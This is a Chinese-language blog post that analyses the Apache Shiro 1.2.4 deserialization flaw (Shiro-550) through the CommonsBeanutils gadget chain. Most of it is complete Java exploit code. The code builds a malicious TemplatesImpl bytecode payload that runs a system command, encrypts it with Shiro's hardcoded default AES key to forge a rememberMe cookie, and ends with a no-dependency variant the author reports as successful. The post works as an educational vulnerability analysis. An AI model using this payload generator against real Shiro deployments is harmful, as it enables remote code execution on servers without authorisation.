• Shiro反序列化分析


    前言

    Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带Commoncollections的,除此之外还带了一个包叫做CommonBeanUtils,主要利用类就在这个包里

    环境搭建

    https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
    编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2

    
        javax.servlet
        jstl
        1.2
        runtime
    
    

    之后tomat搭起来就行了,选择sample-web.war

    CB链分析

    先回顾一下CC4

    * Gadget chain:
     *      ObjectInputStream.readObject()
     *          PriorityQueue.readObject()
     *              PriorityQueue.heapify()
     *                  PriorityQueue.siftDown()
     *                 PriorityQueue.siftDownUsingComparator()
     *                     TransformingComparator.compare()
     *                         InvokerTransformer.transform()
     *                             Method.invoke()
     *                                 TemplatesImpl.newTransformer()
     *                                     TemplatesImpl.getTransletInstance()
     *                                         Runtime.exec()
    

    CB链跟CC4的不同点就是从compare开始的,正好可以从CommonBeanUtils包里找到BeanComparator这个类

    主要看PropertyUtils.getProperty这个方法可以任意类的get方法调用,可以调用任意bean(class)的一个get方法去获取nameproperty属性
    写个demo测试一下

    package org.example;
    
    import org.apache.commons.beanutils.PropertyUtils;
    
    import java.lang.reflect.InvocationTargetException;
    
    public class User {
        private String name;
        private int age;
        public User(String name, int age){
            this.name = name;
            this.age = age;
        }
    
        public String getName() {
            System.out.println("Hello, getname");
            return name;
        }
        public int getAge() {
            System.out.println("Hello, getage");
            return age;
        }
        public void setName(String name) {
            this.name = name;
        }
        public void setAge(int age) {
            this.age = age;
        }
    
        public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
            PropertyUtils.getProperty(new User("F12", 18), "name");
            PropertyUtils.getProperty(new User("F12", 18), "age");
        }
    }
    
    // 输出
    Hello, getname
    Hello, getage
    

    这样就可以利用TemplatesImpl中的getOutputProperties方法,这里面可以触发任意类的实例化,从而执行命令,注意这个类须继承AbstractTranslet类,或则改掉父类的默认值,如果忘了请回顾CC3
    依赖:

    
            
                commons-beanutils
                commons-beanutils
                1.8.3
            
            
                org.apache.shiro
                shiro-core
                1.2.4
            
    
            
                org.javassist
                javassist
                3.27.0-GA
            
    
            
                commons-collections
                commons-collections
                3.2.1
            
            
                commons-logging
                commons-logging
                1.1.1
            
    
    
    package org.example;
    
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.*;
    import org.apache.commons.beanutils.BeanComparator;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    public class Test {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void serialize(Object obj) throws IOException {
            FileOutputStream fis = new FileOutputStream("cb.bin");
            ObjectOutputStream ois = new ObjectOutputStream(fis);
            ois.writeObject(obj);
        }
        public static void deserialize(String filename) throws IOException, ClassNotFoundException {
            FileInputStream fis = new FileInputStream(filename);
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        }
        public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ct = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ct.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "Evil" + System.nanoTime();
            ct.setName(randomClassName);
            ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
            setFieldValue(obj, "_name", "F12");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            final BeanComparator beanComparator = new BeanComparator();
            final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
            priorityQueue.add(1);
            priorityQueue.add(2);
            setFieldValue(beanComparator, "property", "outputProperties");
            setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
            serialize(priorityQueue);
            deserialize("cb.bin");
        }
    }
    
    

    追踪一下链的过程,在PriorityQueue的readObject打个断点,开追,进入heapify
    进入siftDown

    进入siftDownUsingComparator

    进入compare,到达关键点,获取TemplatesImpl的outputProperites属性

    调用TemplatesImpl.getOutputProperites

    进入newTransformer

    进入getTransletInstance,到达世界最高城defineTransletClasses

    后面就不看了,就是defineClass,至此CB链结束,还挺简单的

    Shiro550分析

    环境上面已经搭建好了,这里不说了
    Shiro550用的其实就是CB链,这里只是有一些细节需要注意,Shiro的触发点是Cookie处解码时会进行反序列化,他生成的反序列化字符串是进行AES对称加密的,因此要在对数据进行一次AES加密,反序列化漏洞的利用就建立在知晓key的情况下,而shiro最初时,key是直接硬编码写在源码里的,全局搜serialize

    可以看到这个DEFAULT_CIPHER_KEY_BYTES,amazing

    package org.example;
    
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.*;
    import org.apache.commons.beanutils.BeanComparator;
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.util.ByteSource;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.Base64;
    import java.util.PriorityQueue;
    
    public class Test {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void serialize(Object obj) throws IOException {
            FileOutputStream fis = new FileOutputStream("cb.bin");
            ObjectOutputStream ois = new ObjectOutputStream(fis);
            ois.writeObject(obj);
        }
        public static void deserialize(String filename) throws IOException, ClassNotFoundException {
            FileInputStream fis = new FileInputStream(filename);
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        }
        public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ct = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ct.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "Evil" + System.nanoTime();
            ct.setName(randomClassName);
            ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
            setFieldValue(obj, "_name", "F12");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            final BeanComparator beanComparator = new BeanComparator();
            final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
            priorityQueue.add(1);
            priorityQueue.add(2);
            setFieldValue(beanComparator, "property", "outputProperties");
            setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
            serialize(priorityQueue);
            byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
            AesCipherService aes = new AesCipherService();
            byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
            ByteSource encrypt = aes.encrypt(bytes, key);
            System.out.println(encrypt.toString());
        }
    }
    

    但是直接报错了,报的是cc中的ComparableComparator的那个错,虽然shiro中内置了CommonCollection的一部分,但是并不是所有,而org.apache.commons.collections.comparators.ComparableComparator这个类就在CC包里面,且在shiro中没有,所以寄

    无依赖Shiro550 Attack

    关键点在于compare方法,如果不指定comparator的话,会默认为cc中的ComparableComparator

    因此我们需要指定一个Comparator

    • 实现java.util.Comparator接口
    • 实现java.io.Serializable接口
    • Java、shiro或commons-beanutils自带,且兼容性强

    可以找到AttrCompare

    package org.example;
    
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
    import javassist.*;
    import org.apache.commons.beanutils.BeanComparator;
    import org.apache.commons.collections.map.CaseInsensitiveMap;
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.util.ByteSource;
    import sun.misc.ASCIICaseInsensitiveComparator;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.Base64;
    import java.util.Comparator;
    import java.util.PriorityQueue;
    
    public class Test {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void serialize(Object obj) throws IOException {
            FileOutputStream fis = new FileOutputStream("cb.bin");
            ObjectOutputStream ois = new ObjectOutputStream(fis);
            ois.writeObject(obj);
        }
        public static void deserialize(String filename) throws IOException, ClassNotFoundException {
            FileInputStream fis = new FileInputStream(filename);
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        }
        public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ct = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ct.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "Evil" + System.nanoTime();
            ct.setName(randomClassName);
            ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
            setFieldValue(obj, "_name", "F12");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            final BeanComparator beanComparator = new BeanComparator();
            final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
            priorityQueue.add(1);
            priorityQueue.add(2);
            setFieldValue(beanComparator, "property", "outputProperties");
            setFieldValue(beanComparator, "comparator", new AttrCompare());
            setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
            serialize(priorityQueue);
            byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
            AesCipherService aes = new AesCipherService();
            byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
            ByteSource encrypt = aes.encrypt(bytes, key);
            System.out.println(encrypt.toString());
        }
    }
    

    成功Attack


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18092541
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    区块链中的数据可用性层是什么?
    面试题005-Java-JVM(上)
    【Python】文件操作
    Ubuntu上搭建TFTP服务
    【NLP】理解 Llama2:KV 缓存、分组查询注意力、旋转嵌入等
    java教师教学质量评估系统计算机毕业设计MyBatis+系统+LW文档+源码+调试部署
    数仓建模分层理论
    pandas教程:Introduction to pandas Data Structures pandas的数据结构
    openjudge 1.12.5 统计单词数
    【RealFill】一种新的用于图像补全的生成式模型
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18092541